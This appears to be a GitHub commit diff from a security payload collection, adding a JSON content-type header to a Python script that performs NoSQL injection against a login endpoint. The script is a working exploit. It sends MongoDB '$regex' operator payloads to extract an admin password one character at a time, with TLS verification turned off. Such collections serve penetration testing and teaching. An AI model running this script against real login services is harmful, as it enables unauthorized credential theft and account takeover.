Merge pull request #65 from noraj/patch-1

add JSON headers
This commit is contained in:
Swissky 2019-04-25 01:16:36 +02:00 committed by GitHub
commit bd861e304f
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -63,12 +63,13 @@ urllib3.disable_warnings()
username="admin"
password=""
u="http://example.org/login"
headers={'content-type': 'application/json'}
while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
r = requests.post(u, data = payload, headers = headers, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c